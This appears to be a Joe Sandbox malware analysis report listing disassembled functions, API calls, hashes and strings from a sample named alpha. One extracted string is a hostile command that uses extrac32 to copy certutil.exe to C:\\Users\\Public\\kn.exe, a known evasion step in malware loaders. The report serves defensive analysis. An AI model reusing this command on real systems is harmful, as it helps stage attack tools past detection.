                                                                                      • Opcode ID: 273daed2c2834dfc8b6dfef377a9808402fe7d58939b34531bf6f611b2348d3e
                                                                                      • Instruction ID: 13f746ce9744823bc7fd7123d9f69c07e6e64e3784839c61943438197a333d46
                                                                                      • Opcode Fuzzy Hash: 273daed2c2834dfc8b6dfef377a9808402fe7d58939b34531bf6f611b2348d3e
                                                                                      • Instruction Fuzzy Hash: E1A1E233F086529AFB14AB61A8046BCF6A1FF49B55FA58035DE0E47B84DF3CA449C720
                                                                                      Function 00007FF78CF41560 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 338fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Find$File$CloseFirstmemset$AttributesErrorLastNext
                                                                                      • String ID: \\?\
                                                                                      • API String ID: 628682198-4282027825
                                                                                      • Opcode ID: bfecd11a4866ca550013cb8df7d01d0eb9b862476b4829b349704babc3ba77e1
                                                                                      • Instruction ID: 85a79a6c118bfa3c23aa4d5bcd584b01a7d887b8f8abe47515ada550105e93f5
                                                                                      • Opcode Fuzzy Hash: bfecd11a4866ca550013cb8df7d01d0eb9b862476b4829b349704babc3ba77e1
                                                                                      • Instruction Fuzzy Hash: B2E1B423B0868296FB60AF24D8507F9A7A0FB45749FA09135EA0E4B7D4EF3CE645C350
                                                                                      Function 00007FF78CF6AFBC Relevance: 26.0, APIs: 17, Instructions: 537COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$memset$ErrorFileHeapLast$AllocAttributesCloseFindMoveProcessProgressWith_setjmpiswspacelongjmpwcsrchr
                                                                                      • String ID:
                                                                                      • API String ID: 16309207-0
                                                                                      • Opcode ID: aeb120db068727e28786c75b5313561eaf1c3474a7666ce33f66a1440c033bc1
                                                                                      • Instruction ID: b88779b66e028f04beea09d884e31dcbaac92228e87794ea9bf033b5cb622831
                                                                                      • Opcode Fuzzy Hash: aeb120db068727e28786c75b5313561eaf1c3474a7666ce33f66a1440c033bc1
                                                                                      • Instruction Fuzzy Hash: D5228B63B08B8286FB65AF24D8546B9B7A0FF45B84FA09135DA0E4BB95DF3CE145C310
                                                                                      Function 00007FF78CF4CE10 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalSection$ConsoleEnterInfoLeaveOutput_tell_wcsicmpmemset
                                                                                      • String ID: GOTO$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                                                      • API String ID: 3863671652-4137775220
                                                                                      • Opcode ID: feb1bbf7feb49ee9d99dd0502c92dc49cdd19241ad0cb0e0275a55cbab1dd980
                                                                                      • Instruction ID: dd52b1405cb444f1aba0a3d997c1c35b436e9492515a61533df89cb8e8490397
                                                                                      • Opcode Fuzzy Hash: feb1bbf7feb49ee9d99dd0502c92dc49cdd19241ad0cb0e0275a55cbab1dd980
                                                                                      • Instruction Fuzzy Hash: 74E1B963A0D68282FA60BB15E454BB9F6A0BF89B50FF55135DA0E4B2D1DF3CE945C320
                                                                                      Function 00007FF78CF43410 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 160windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
                                                                                      • String ID: $Application$System
                                                                                      • API String ID: 3538039442-1881496484
                                                                                      • Opcode ID: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
                                                                                      • Instruction ID: 0c73705a503abdc7cb723ccd67aab53ca84ad97488ad2bd16097e45a745c951e
                                                                                      • Opcode Fuzzy Hash: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
                                                                                      • Instruction Fuzzy Hash: 84519C33A08B8197FB20AB55B4006BAFAA1FB89B44FA59134EE4E47794DF3CD449C750
                                                                                      Function 00007FF78CF6D9D0 Relevance: 23.3, APIs: 10, Strings: 3, Instructions: 576fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • longjmp.MSVCRT(?,?,00000000,00007FF78CF6048E), ref: 00007FF78CF6DA58
                                                                                      • memset.MSVCRT ref: 00007FF78CF6DAD6
                                                                                      • memset.MSVCRT ref: 00007FF78CF6DAFC
                                                                                      • memset.MSVCRT ref: 00007FF78CF6DB22
                                                                                        • Part of subcall function 00007FF78CF53A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF78CF6EAC5,?,?,?,00007FF78CF6E925,?,?,?,?,00007FF78CF4B9B1), ref: 00007FF78CF53A56
                                                                                        • Part of subcall function 00007FF78CF45194: VirtualAlloc.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF78CF451C4
                                                                                        • Part of subcall function 00007FF78CF5823C: FindFirstFileExW.KERNELBASE ref: 00007FF78CF58280
                                                                                        • Part of subcall function 00007FF78CF5823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF5829D
                                                                                        • Part of subcall function 00007FF78CF501B8: _get_osfhandle.MSVCRT ref: 00007FF78CF501C4
                                                                                        • Part of subcall function 00007FF78CF501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF501D6
                                                                                        • Part of subcall function 00007FF78CF44FE8: _get_osfhandle.MSVCRT ref: 00007FF78CF45012
                                                                                        • Part of subcall function 00007FF78CF44FE8: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF45030
                                                                                      • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF6DDB0
                                                                                        • Part of subcall function 00007FF78CF459E4: CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF45A2E
                                                                                        • Part of subcall function 00007FF78CF459E4: _open_osfhandle.MSVCRT ref: 00007FF78CF45A4F
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF6DDEB
                                                                                      • SetEndOfFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF6DDFA
                                                                                      • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF78CF6E204
                                                                                      • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF78CF6E223
                                                                                      • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF78CF6E242
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$_get_osfhandlememset$Find$AllocAttributesCloseCreateErrorFirstLastReadTypeVirtual_open_osfhandlelongjmp
                                                                                      • String ID: %9d$%s$~
                                                                                      • API String ID: 3651208239-912394897
                                                                                      • Opcode ID: bd92ea359e7dfbf02f7d23f55cbe5c15862248cc3031b8413fe66a0113feaca6
                                                                                      • Instruction ID: 7c40791baba3da7ce78fd6c464b3f0f7b95552d0a5b6626559bd29bbb8bb1f78
                                                                                      • Opcode Fuzzy Hash: bd92ea359e7dfbf02f7d23f55cbe5c15862248cc3031b8413fe66a0113feaca6
                                                                                      • Instruction Fuzzy Hash: 61425E33A0868287FB64AF25D8516F9B7A1FB85744FA00136E74D87A99DF3CE644CB10
                                                                                      Function 00007FF78CF4372C Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 396COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcsrchr$ErrorLast$AttributesFile_wcsnicmpiswspacememsetwcschr
                                                                                      • String ID: COPYCMD$\
                                                                                      • API String ID: 3989487059-1802776761
                                                                                      • Opcode ID: d8d0bfbfdfe82cdd3103f4725bc29693bb562c2c5d4d39e0cb153c4cce5fb559
                                                                                      • Instruction ID: cbe57b97b7e3279b43df706d04dbeb9dd6d60184d08f62131412ebb10b9126d3
                                                                                      • Opcode Fuzzy Hash: d8d0bfbfdfe82cdd3103f4725bc29693bb562c2c5d4d39e0cb153c4cce5fb559
                                                                                      • Instruction Fuzzy Hash: 23F1B167B0878682FB24BB15D4016BAF3A1FF45B88FA48135DA4E4B794EE3CE549C310
                                                                                      Function 00007FF78CF53140 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 229timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Time$File$System$FormatInfoLocalLocale
                                                                                      • String ID: $%02d%s%02d%s$%2d%s%02d%s%02d%s%02d$.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$HH:mm:ss t
                                                                                      • API String ID: 55602301-2548490036
                                                                                      • Opcode ID: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
                                                                                      • Instruction ID: 1b0b3c7b2e401499ae292bc645df097324b7f8608f849854cfe01141bff21e77
                                                                                      • Opcode Fuzzy Hash: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
                                                                                      • Instruction Fuzzy Hash: 83A1A233A1874296FB10AB14E4412BAF7A5FB84754FE04136EB5E83694EF3CE645CB20
                                                                                      Function 00007FF78CF71538 Relevance: 19.7, APIs: 13, Instructions: 169filememorynativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememmove$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType_wcsicmp
                                                                                      • String ID:
                                                                                      • API String ID: 3935429995-0
                                                                                      • Opcode ID: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
                                                                                      • Instruction ID: 3daf17d3675ed96b0ab5dd1c18efd1df04168083e67d253088b4eedaeb6c1626
                                                                                      • Opcode Fuzzy Hash: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
                                                                                      • Instruction Fuzzy Hash: 4D619C27A1869286F714AF22A406679FBA4FB89F54FA59134FE4E43790DF3CD40AC710
                                                                                      Function 00007FF78CF435B8 Relevance: 18.2, APIs: 12, Instructions: 214COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: AttributesFile
                                                                                      • String ID:
                                                                                      • API String ID: 3188754299-0
                                                                                      • Opcode ID: 7911f8452db39d7657d313559ed3967f3c9c4d9a39ee1e7965673abb96ed0397
                                                                                      • Instruction ID: e62f43bb35761cc76b9a58152652ca1e13deb76007a2c2c123f3dbba3b2d8ba7
                                                                                      • Opcode Fuzzy Hash: 7911f8452db39d7657d313559ed3967f3c9c4d9a39ee1e7965673abb96ed0397
                                                                                      • Instruction Fuzzy Hash: 4B91B33360868286FB24AF65D850AFDB6A0FB49B55FA08135EA4F4B794DF3CD548C720
                                                                                      Function 00007FF78CF4B0D8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 320COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _get_osfhandlememset$wcschr
                                                                                      • String ID: DPATH
                                                                                      • API String ID: 3260997497-2010427443
                                                                                      • Opcode ID: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
                                                                                      • Instruction ID: 9de3b4f64d9ccaf82654dd1b978eb21cfe5635a9af7b504ee3baec7aaf60c37c
                                                                                      • Opcode Fuzzy Hash: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
                                                                                      • Instruction Fuzzy Hash: 8ED18033A08A4283FB15AB25D4405BDA2A1FF48B94FA48235DB1E8B7D5DF3CE945C360
                                                                                      Function 00007FF78CF57FF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filenativeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$InformationNamePathRelative$CloseDeleteErrorFreeHandleLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
                                                                                      • String ID: @P
                                                                                      • API String ID: 1801357106-3670739982
                                                                                      • Opcode ID: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
                                                                                      • Instruction ID: 5eed5249ca081a8287a4e4989a45123a8e42df35774a3afcc736e0720d2c8edb
                                                                                      • Opcode Fuzzy Hash: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
                                                                                      • Instruction Fuzzy Hash: 5D413D33B04A85DAF710AF60E4802EDBBA0FB89759FA48231DB1D47A88DF78D548C754
                                                                                      Function 00007FF78CF42220 Relevance: 15.4, APIs: 10, Instructions: 368COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$BufferConsoleInfoScreen
                                                                                      • String ID:
                                                                                      • API String ID: 1034426908-0
                                                                                      • Opcode ID: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
                                                                                      • Instruction ID: 55b04d58d1d4a195aefe0539a65b6aabc94d00c0f55ef944a1525bf228020111
                                                                                      • Opcode Fuzzy Hash: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
                                                                                      • Instruction Fuzzy Hash: 8AF19D33A087828AFB64EB21D850AF9B7A5FF45788FA08135DA4E4B695DF3CE544C710
                                                                                      Function 00007FF78CF6AC4C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseValue$CreateDeleteOpen
                                                                                      • String ID: %s=%s$\Shell\Open\Command
                                                                                      • API String ID: 4081037667-3301834661
                                                                                      • Opcode ID: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
                                                                                      • Instruction ID: ba8884c1b178a9b6345968508886ab86eb964a852b042560ad66278f3e49fa1d
                                                                                      • Opcode Fuzzy Hash: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
                                                                                      • Instruction Fuzzy Hash: CE71C263B0978292FB60AB25E0506BAF2A1FF85B94FE48131DA4E07784DF3CE545C720
                                                                                      Function 00007FF78CF6AA30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6AA85
                                                                                      • RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6AACF
                                                                                      • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6AAEC
                                                                                      • RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6AB39
                                                                                      • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6AB6F
                                                                                      • RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6ABA4
                                                                                      • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF78CF698C0), ref: 00007FF78CF6ABCB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
